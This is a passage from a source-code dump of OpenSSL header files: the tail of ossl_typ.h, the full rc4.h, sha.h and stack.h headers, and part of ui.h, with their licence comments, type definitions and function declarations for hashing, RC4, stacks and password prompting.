| int idx, long argl, void *argp); 195 | typedef int CRYPTO_EX_dup(CRYPTO_EX_DATA *to, CRYPTO_EX_DATA *from, void *from_d, 196 | int idx, long argl, void *argp); 197 | 198 | typedef struct ocsp_req_ctx_st OCSP_REQ_CTX; 199 | typedef struct ocsp_response_st OCSP_RESPONSE; 200 | typedef struct ocsp_responder_id_st OCSP_RESPID; 201 | 202 | #endif /* def HEADER_OPENSSL_TYPES_H */ 203 | -------------------------------------------------------------------------------- /src/include/openssl/rc4.h: -------------------------------------------------------------------------------- 1 | /* crypto/rc4/rc4.h */ 2 | /* Copyright (C) 1995-1997 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_RC4_H 60 | #define HEADER_RC4_H 61 | 62 | #include /* OPENSSL_NO_RC4, RC4_INT */ 63 | #ifdef OPENSSL_NO_RC4 64 | #error RC4 is disabled. 65 | #endif 66 | 67 | #include 68 | 69 | #ifdef __cplusplus 70 | extern "C" { 71 | #endif 72 | 73 | typedef struct rc4_key_st 74 | { 75 | RC4_INT x,y; 76 | RC4_INT data[256]; 77 | } RC4_KEY; 78 | 79 | 80 | const char *RC4_options(void); 81 | void RC4_set_key(RC4_KEY *key, int len, const unsigned char *data); 82 | void private_RC4_set_key(RC4_KEY *key, int len, const unsigned char *data); 83 | void RC4(RC4_KEY *key, size_t len, const unsigned char *indata, 84 | unsigned char *outdata); 85 | 86 | #ifdef __cplusplus 87 | } 88 | #endif 89 | 90 | #endif 91 | -------------------------------------------------------------------------------- /src/include/openssl/sha.h: -------------------------------------------------------------------------------- 1 | /* crypto/sha/sha.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_SHA_H 60 | #define HEADER_SHA_H 61 | 62 | #include 63 | #include 64 | 65 | #ifdef __cplusplus 66 | extern "C" { 67 | #endif 68 | 69 | #if defined(OPENSSL_NO_SHA) || (defined(OPENSSL_NO_SHA0) && defined(OPENSSL_NO_SHA1)) 70 | #error SHA is disabled. 71 | #endif 72 | 73 | #if defined(OPENSSL_FIPS) 74 | #define FIPS_SHA_SIZE_T size_t 75 | #endif 76 | 77 | /* 78 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 79 | * ! SHA_LONG has to be at least 32 bits wide. If it's wider, then ! 80 | * ! SHA_LONG_LOG2 has to be defined along. ! 81 | * !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 82 | */ 83 | 84 | #if defined(__LP32__) 85 | #define SHA_LONG unsigned long 86 | #elif defined(OPENSSL_SYS_CRAY) || defined(__ILP64__) 87 | #define SHA_LONG unsigned long 88 | #define SHA_LONG_LOG2 3 89 | #else 90 | #define SHA_LONG unsigned int 91 | #endif 92 | 93 | #define SHA_LBLOCK 16 94 | #define SHA_CBLOCK (SHA_LBLOCK*4) /* SHA treats input data as a 95 | * contiguous array of 32 bit 96 | * wide big-endian values. */ 97 | #define SHA_LAST_BLOCK (SHA_CBLOCK-8) 98 | #define SHA_DIGEST_LENGTH 20 99 | 100 | typedef struct SHAstate_st 101 | { 102 | SHA_LONG h0,h1,h2,h3,h4; 103 | SHA_LONG Nl,Nh; 104 | SHA_LONG data[SHA_LBLOCK]; 105 | unsigned int num; 106 | } SHA_CTX; 107 | 108 | #ifndef OPENSSL_NO_SHA0 109 | #ifdef OPENSSL_FIPS 110 | int private_SHA_Init(SHA_CTX *c); 111 | #endif 112 | int SHA_Init(SHA_CTX *c); 113 | int SHA_Update(SHA_CTX *c, const void *data, size_t len); 114 | int SHA_Final(unsigned char *md, SHA_CTX *c); 115 | unsigned char *SHA(const unsigned char *d, size_t n, unsigned char *md); 116 | void SHA_Transform(SHA_CTX *c, const unsigned char *data); 117 | #endif 118 | #ifndef OPENSSL_NO_SHA1 119 | #ifdef OPENSSL_FIPS 120 | int private_SHA1_Init(SHA_CTX *c); 121 | #endif 122 | int SHA1_Init(SHA_CTX *c); 123 | int SHA1_Update(SHA_CTX *c, const void *data, size_t len); 124 | int SHA1_Final(unsigned char *md, SHA_CTX *c); 125 | unsigned char *SHA1(const unsigned char *d, size_t n, unsigned char *md); 126 | void SHA1_Transform(SHA_CTX *c, const unsigned char *data); 127 | #endif 128 | 129 | #define SHA256_CBLOCK (SHA_LBLOCK*4) /* SHA-256 treats input data as a 130 | * contiguous array of 32 bit 131 | * wide big-endian values. */ 132 | #define SHA224_DIGEST_LENGTH 28 133 | #define SHA256_DIGEST_LENGTH 32 134 | 135 | typedef struct SHA256state_st 136 | { 137 | SHA_LONG h[8]; 138 | SHA_LONG Nl,Nh; 139 | SHA_LONG data[SHA_LBLOCK]; 140 | unsigned int num,md_len; 141 | } SHA256_CTX; 142 | 143 | #ifndef OPENSSL_NO_SHA256 144 | #ifdef OPENSSL_FIPS 145 | int private_SHA224_Init(SHA256_CTX *c); 146 | int private_SHA256_Init(SHA256_CTX *c); 147 | #endif 148 | int SHA224_Init(SHA256_CTX *c); 149 | int SHA224_Update(SHA256_CTX *c, const void *data, size_t len); 150 | int SHA224_Final(unsigned char *md, SHA256_CTX *c); 151 | unsigned char *SHA224(const unsigned char *d, size_t n,unsigned char *md); 152 | int SHA256_Init(SHA256_CTX *c); 153 | int SHA256_Update(SHA256_CTX *c, const void *data, size_t len); 154 | int SHA256_Final(unsigned char *md, SHA256_CTX *c); 155 | unsigned char *SHA256(const unsigned char *d, size_t n,unsigned char *md); 156 | void SHA256_Transform(SHA256_CTX *c, const unsigned char *data); 157 | #endif 158 | 159 | #define SHA384_DIGEST_LENGTH 48 160 | #define SHA512_DIGEST_LENGTH 64 161 | 162 | #ifndef OPENSSL_NO_SHA512 163 | /* 164 | * Unlike 32-bit digest algorithms, SHA-512 *relies* on SHA_LONG64 165 | * being exactly 64-bit wide. See Implementation Notes in sha512.c 166 | * for further details. 167 | */ 168 | #define SHA512_CBLOCK (SHA_LBLOCK*8) /* SHA-512 treats input data as a 169 | * contiguous array of 64 bit 170 | * wide big-endian values. */ 171 | #if (defined(_WIN32) || defined(_WIN64)) && !defined(__MINGW32__) 172 | #define SHA_LONG64 unsigned __int64 173 | #define U64(C) C##UI64 174 | #elif defined(__arch64__) 175 | #define SHA_LONG64 unsigned long 176 | #define U64(C) C##UL 177 | #else 178 | #define SHA_LONG64 unsigned long long 179 | #define U64(C) C##ULL 180 | #endif 181 | 182 | typedef struct SHA512state_st 183 | { 184 | SHA_LONG64 h[8]; 185 | SHA_LONG64 Nl,Nh; 186 | union { 187 | SHA_LONG64 d[SHA_LBLOCK]; 188 | unsigned char p[SHA512_CBLOCK]; 189 | } u; 190 | unsigned int num,md_len; 191 | } SHA512_CTX; 192 | #endif 193 | 194 | #ifndef OPENSSL_NO_SHA512 195 | #ifdef OPENSSL_FIPS 196 | int private_SHA384_Init(SHA512_CTX *c); 197 | int private_SHA512_Init(SHA512_CTX *c); 198 | #endif 199 | int SHA384_Init(SHA512_CTX *c); 200 | int SHA384_Update(SHA512_CTX *c, const void *data, size_t len); 201 | int SHA384_Final(unsigned char *md, SHA512_CTX *c); 202 | unsigned char *SHA384(const unsigned char *d, size_t n,unsigned char *md); 203 | int SHA512_Init(SHA512_CTX *c); 204 | int SHA512_Update(SHA512_CTX *c, const void *data, size_t len); 205 | int SHA512_Final(unsigned char *md, SHA512_CTX *c); 206 | unsigned char *SHA512(const unsigned char *d, size_t n,unsigned char *md); 207 | void SHA512_Transform(SHA512_CTX *c, const unsigned char *data); 208 | #endif 209 | 210 | #ifdef __cplusplus 211 | } 212 | #endif 213 | 214 | #endif 215 | -------------------------------------------------------------------------------- /src/include/openssl/stack.h: -------------------------------------------------------------------------------- 1 | /* crypto/stack/stack.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * in documentation (online or textual) provided with the package. 22 | * 23 | * Redistribution and use in source and binary forms, with or without 24 | * modification, are permitted provided that the following conditions 25 | * are met: 26 | * 1. Redistributions of source code must retain the copyright 27 | * notice, this list of conditions and the following disclaimer. 28 | * 2. Redistributions in binary form must reproduce the above copyright 29 | * notice, this list of conditions and the following disclaimer in the 30 | * documentation and/or other materials provided with the distribution. 31 | * 3. All advertising materials mentioning features or use of this software 32 | * must display the following acknowledgement: 33 | * "This product includes cryptographic software written by 34 | * Eric Young (eay@cryptsoft.com)" 35 | * The word 'cryptographic' can be left out if the rouines from the library 36 | * being used are not cryptographic related :-). 37 | * 4. If you include any Windows specific code (or a derivative thereof) from 38 | * the apps directory (application code) you must include an acknowledgement: 39 | * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" 40 | * 41 | * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND 42 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 43 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 44 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 45 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 46 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 47 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 48 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 49 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 50 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 51 | * SUCH DAMAGE. 52 | * 53 | * The licence and distribution terms for any publically available version or 54 | * derivative of this code cannot be changed. i.e. this code cannot simply be 55 | * copied and put under another distribution licence 56 | * [including the GNU Public Licence.] 57 | */ 58 | 59 | #ifndef HEADER_STACK_H 60 | #define HEADER_STACK_H 61 | 62 | #ifdef __cplusplus 63 | extern "C" { 64 | #endif 65 | 66 | typedef struct stack_st 67 | { 68 | int num; 69 | char **data; 70 | int sorted; 71 | 72 | int num_alloc; 73 | int (*comp)(const void *, const void *); 74 | } _STACK; /* Use STACK_OF(...) instead */ 75 | 76 | #define M_sk_num(sk) ((sk) ? (sk)->num:-1) 77 | #define M_sk_value(sk,n) ((sk) ? (sk)->data[n] : NULL) 78 | 79 | int sk_num(const _STACK *); 80 | void *sk_value(const _STACK *, int); 81 | 82 | void *sk_set(_STACK *, int, void *); 83 | 84 | _STACK *sk_new(int (*cmp)(const void *, const void *)); 85 | _STACK *sk_new_null(void); 86 | void sk_free(_STACK *); 87 | void sk_pop_free(_STACK *st, void (*func)(void *)); 88 | int sk_insert(_STACK *sk, void *data, int where); 89 | void *sk_delete(_STACK *st, int loc); 90 | void *sk_delete_ptr(_STACK *st, void *p); 91 | int sk_find(_STACK *st, void *data); 92 | int sk_find_ex(_STACK *st, void *data); 93 | int sk_push(_STACK *st, void *data); 94 | int sk_unshift(_STACK *st, void *data); 95 | void *sk_shift(_STACK *st); 96 | void *sk_pop(_STACK *st); 97 | void sk_zero(_STACK *st); 98 | int (*sk_set_cmp_func(_STACK *sk, int (*c)(const void *, const void *))) 99 | (const void *, const void *); 100 | _STACK *sk_dup(_STACK *st); 101 | void sk_sort(_STACK *st); 102 | int sk_is_sorted(const _STACK *st); 103 | 104 | #ifdef __cplusplus 105 | } 106 | #endif 107 | 108 | #endif 109 | -------------------------------------------------------------------------------- /src/include/openssl/ui.h: -------------------------------------------------------------------------------- 1 | /* crypto/ui/ui.h -*- mode:C; c-file-style: "eay" -*- */ 2 | /* Written by Richard Levitte (richard@levitte.org) for the OpenSSL 3 | * project 2001. 4 | */ 5 | /* ==================================================================== 6 | * Copyright (c) 2001 The OpenSSL Project. All rights reserved. 7 | * 8 | * Redistribution and use in source and binary forms, with or without 9 | * modification, are permitted provided that the following conditions 10 | * are met: 11 | * 12 | * 1. Redistributions of source code must retain the above copyright 13 | * notice, this list of conditions and the following disclaimer. 14 | * 15 | * 2. Redistributions in binary form must reproduce the above copyright 16 | * notice, this list of conditions and the following disclaimer in 17 | * the documentation and/or other materials provided with the 18 | * distribution. 19 | * 20 | * 3. All advertising materials mentioning features or use of this 21 | * software must display the following acknowledgment: 22 | * "This product includes software developed by the OpenSSL Project 23 | * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" 24 | * 25 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 26 | * endorse or promote products derived from this software without 27 | * prior written permission. For written permission, please contact 28 | * openssl-core@openssl.org. 29 | * 30 | * 5. Products derived from this software may not be called "OpenSSL" 31 | * nor may "OpenSSL" appear in their names without prior written 32 | * permission of the OpenSSL Project. 33 | * 34 | * 6. Redistributions of any form whatsoever must retain the following 35 | * acknowledgment: 36 | * "This product includes software developed by the OpenSSL Project 37 | * for use in the OpenSSL Toolkit (http://www.openssl.org/)" 38 | * 39 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 40 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 41 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 42 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 43 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 44 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 45 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 46 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 47 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 48 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 49 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 50 | * OF THE POSSIBILITY OF SUCH DAMAGE. 51 | * ==================================================================== 52 | * 53 | * This product includes cryptographic software written by Eric Young 54 | * (eay@cryptsoft.com). This product includes software written by Tim 55 | * Hudson (tjh@cryptsoft.com). 56 | * 57 | */ 58 | 59 | #ifndef HEADER_UI_H 60 | #define HEADER_UI_H 61 | 62 | #ifndef OPENSSL_NO_DEPRECATED 63 | #include 64 | #endif 65 | #include 66 | #include 67 | 68 | #ifdef __cplusplus 69 | extern "C" { 70 | #endif 71 | 72 | /* Declared already in ossl_typ.h */ 73 | /* typedef struct ui_st UI; */ 74 | /* typedef struct ui_method_st UI_METHOD; */ 75 | 76 | 77 | /* All the following functions return -1 or NULL on error and in some cases 78 | (UI_process()) -2 if interrupted or in some other way cancelled. 79 | When everything is fine, they return 0, a positive value or a non-NULL 80 | pointer, all depending on their purpose. */ 81 | 82 | /* Creators and destructor. */ 83 | UI *UI_new(void); 84 | UI *UI_new_method(const UI_METHOD *method); 85 | void UI_free(UI *ui); 86 | 87 | /* The following functions are used to add strings to be printed and prompt 88 | strings to prompt for data. The names are UI_{add,dup}__string 89 | and UI_{add,dup}_input_boolean. 90 | 91 | UI_{add,dup}__string have the following meanings: 92 | add add a text or prompt string. The pointers given to these 93 | functions are used verbatim, no copying is done. 94 | dup make a copy of the text or prompt string, then add the copy 95 | to the collection of strings in the user interface. 96 | 97 | The function is a name for the functionality that the given 98 | string shall be used for. It can be one of: 99 | input use the string as data prompt. 100 | verify use the string as verification prompt. This 101 | is used to verify a previous input. 102 | info use the string for informational output. 103 | error use the string for error output. 104 | Honestly, there's currently no difference between info and error for the 105 | moment. 106 | 107 | UI_{add,dup}_input_boolean have the same semantics for "add" and "dup", 108 | and are typically used when one wants to prompt for a yes/no response. 109 | 110 | 111 | All of the functions in this group take a UI and a prompt string. 112 | The string input and verify addition functions also take a flag argument, 113 | a buffer for the result to end up with, a minimum input size and a maximum 114 | input size (the result buffer MUST be large enough to be able to contain 115 | the maximum number of characters). Additionally, the verify addition 116 | functions takes another buffer to compare the result against. 117 | The boolean input functions take an action description string (which should 118 | be safe to ignore if the expected user action is obvious, for example with 119 | a dialog box with an OK button and a Cancel button), a string of acceptable 120 | characters to mean OK and to mean Cancel. The two last strings are checked 121 | to make sure they don't have common characters. Additionally, the same 122 | flag argument as for the string input is taken, as well as a result buffer. 123 | The result buffer is required to be at least one byte long. Depending on 124 | the answer, the first character from the OK or the Cancel character strings 125 | will be stored in the first byte of the result buffer. No NUL will be 126 | added, so the result is *not* a string. 127 | 128 | On success, the all return an index of the added information. That index 129 | is usefull when retrieving results with UI_get0_result(). */ 130 | int UI_add_input_string(UI *ui, const char *prompt, int flags, 131 | char *result_buf, int minsize, int maxsize); 132 | int UI_dup_input_string(UI *ui, const char *prompt, int flags, 133 | char *result_buf, int minsize, int maxsize); 134 | int UI_add_verify_string(UI *ui, const char *prompt, int flags, 135 | char *result_buf, int minsize, int maxsize, const char *test_buf); 136 | int UI_dup_verify_string(UI *ui, const char *prompt, int flags, 137 | char *result_buf, int minsize, int maxsize, const char *test_buf); 138 | int UI_add_input_boolean(UI *ui, const char *prompt, const char *action_desc, 139 | const char *ok_chars, const char *cancel_chars, 140 | int flags, char *result_buf); 141 | int UI_dup_input_boolean(UI *ui, const char *prompt, const char *action_desc, 142 | const char *ok_chars, const char *cancel_chars, 143 | int flags, char *result_buf); 144 | int UI_add_info_string(UI *ui, const char *text); 145 | int UI_dup_info_string(UI *ui, const char *text); 146 | int UI_add_error_string(UI *ui, const char *text); 147 | int UI_dup_error_string(UI *ui, const char *text); 148 | 149 | /* These are the possible flags. They can be or'ed together. */ 150 | /* Use to have echoing of input */ 151 | #define UI_INPUT_FLAG_ECHO 0x01 152 | /* Use a default password. Where that password is found is completely 153 | up to the application, it might for example be in the user data set 154 | with UI_add_user_data(). It is not recommended to have more than 155 | one input in each UI being marked with this flag, or the application 156 | might get confused. */ 157 | #define UI_INPUT_FLAG_DEFAULT_PWD 0x02 158 | 159 | /* The user of these routines may want to define flags of their own. The core 160 | UI won't look at those, but will pass them on to the method routines. They 161 | must use higher bits so they don't get confused with the UI bits above. 162 | UI_INPUT_FLAG_USER_BASE tells which is the lowest bit to use. A good 163 | example of use is this: 164 | 165 | #define MY_UI_FLAG1 (0x01 << UI_INPUT_FLAG_USER_BASE) 166 | 167 | */ 168 | #define UI_INPUT_FLAG_USER_BASE 16 169 | 170 | 171 | /* The following function helps construct a prompt. object_desc is a 172 | textual short description of the object, for example "pass phrase", 173 | and object_name is the name of the object (might be a card name or 174 | a file name. 175 | The returned string shall always be allocated on the heap with 176 | OPENSSL_malloc(), and need to be free'd with OPENSSL_free(). 177 | 178 | If the ui_method doesn't contain a pointer to a user-defined prompt 179 | constructor, a default string is built, looking like this: 180 | 181 | "Enter {object_desc} for {object_name}:" 182 | 183 | So, if object_desc has the value "pass phrase" and object_name has 184 | the value "foo.key", the resulting string is: 185 | 186 | "Enter pass phrase for foo.key:" 187 | */ 188 | char *UI_construct_prompt(UI *ui_method, 189 | const char *object_desc, const char *object_name); 190 | 191 | 192 | /* The following function is used to store a pointer to user-specific data. 193 | Any previous such pointer will be returned and replaced. 194 | 195 | For callback purposes, this function makes a lot more sense than using 196 | ex_data, since the latter requires that different parts of OpenSSL or 197 | applications share the same ex_data index. 198 | 199 | Note that the UI_OpenSSL() method completely ignores the user data. 200 | Other methods may not, however. */ 201 | void *UI_add_user_data(UI *ui, void *user_data); 202 | /* We need a user data retrieving function as well. */ 203 | void *UI_get0_user_data(UI *ui); 204 | 205 | /* Return the result associated with a prompt given with the index i. */ 206 | const char *UI_get0_result(UI *ui, int i); 207 | 208 | /* When all strings have been added, process the whole thing. */ 209 | int UI_process(UI *ui); 210 | 211 | /* Give a user interface parametrised control commands. This can be used to 212 | send down an integer, a data pointer or a function pointer, as well as 213 | be used to get information from a UI. */ 214 | int UI_ctrl(UI *ui, int cmd, long i, void *p, void (*f)(void)); 215 | 216 | /* The commands */ 217 | /* Use UI_CONTROL_PRINT_ERRORS with the value 1 to have UI_process print the 218 | OpenSSL error stack before printing any info or added error messages and 219 | before any prompting. */ 220 | #define UI_CTRL_PRINT_ERRORS 1 221 | /* Check if a UI_process() is possible to do again with the same instance of 222 | a user interface. This makes UI_ctrl() return 1 if it is redoable, and 0 223 | if not. */ 224 | #define UI_CTRL_IS_REDOABLE 2 225 | 226 | 227 | /* Some methods may use extra data */ 228 | #define UI_set_app_data(s,arg) UI_set_ex_data(s,0,arg) 229 | #define UI_get_app_data(s) UI_get_ex_data(s,0) 230 | int UI_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, 231 | CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); 232 | int UI_set_ex_data(UI *r,int idx,void *arg); 233 | void *UI_get_ex_data(UI *r, int idx); 234 | 235 | /* Use specific methods instead of the built-in one */ 236 | void UI_set_default_method(const UI_METHOD *meth); 237 | const UI_METHOD *UI_get_default_method(void); 238 | const UI_METHOD *UI_get_method(UI *ui); 239 | const UI_METHOD *UI_set_method(UI *ui, const UI_METHOD *meth); 240 | 241 | /* The method with all the built-in thingies */ 242 | UI_METHOD *UI_OpenSSL(void); 243 | 244 | 245 | /* ---------- For method writers ---------- */ 246 | /* A method contains a number of functions that implement the low level 247 | of the User Interface. The functions are: 248 | 249 | an opener This function starts a session, maybe by opening 250 | a channel to a tty, or by opening a window. 251 | a writer This function is called to write a given string, 252 | maybe to the tty, maybe as a field label in a 253 | window. 254 | a flusher This function is called to flush everything that 255 | has been output so far. It can be used to actually 256 | display a dialog box after it has been built. 257 | a reader This function is called to read a given prompt, 258 | maybe from the tty, maybe from a field in a 259 | window. Note that it's called wth all string 260 | structures, not only the prompt ones, so it must 261 | check such things itself. 262 | a closer This function closes the session, maybe by closing 263 | the channel to the tty, or closing the window. 264 | 265 | All these functions are expected to return: 266 | 267 | 0 on error. 268 | 1 on success. 269 | -1 on out-of-band events, for example if some prompting has 270 | been canceled (by pressing Ctrl-C, for example). This is 271 | only checked when returned by the flusher or the reader. 272 | 273 | The way this is used, the opener is first called, then the writer for all 274 | strings, then the flusher, then the reader for all strings and finally the 275 | closer. Note that if you want to prompt from a terminal or other command 276 | line interface, the best is to have the reader also write the prompts 277 | instead of having the writer do it. If you want to prompt from a dialog 278 | box, the writer can be used to build up the contents of the box, and the 279 | flusher to actually display the box and run the event loop until all data 280 | has been given, after which the reader only grabs the given data and puts 281 | them back into the UI strings. 282 | 283 | All method functions take a UI as argument. Additionally, the writer and 284 | the reader take a UI_STRING. 285 | */ 286 | 287 | /* The UI_STRING type is the data structure that contains all the needed info 288 | about a string or a prompt, including test data for a verification prompt. 289 | */ 290 | typedef struct ui_string_st UI_STRING; 291 | DECLARE_STACK_OF(UI_STRING) 292 | 293 | /* The different types of strings that are currently supported. 294 | This is only needed by method authors. */ 295 | enum UI_string_types 296 | { 297 | UIT_NONE=0, 298 | UIT_PROMPT, /* Prompt for a string */ 299 | UIT_VERIFY, /* Prompt for a string and verify */ 300 | UIT_BOOLEAN, /* Prompt for a yes/no response */ 301 | UIT_INFO, /* Send info to the user */ 302 | UIT_ERROR /* Send an error message to the user */ 303 | }; 304 | 305 | /* Create 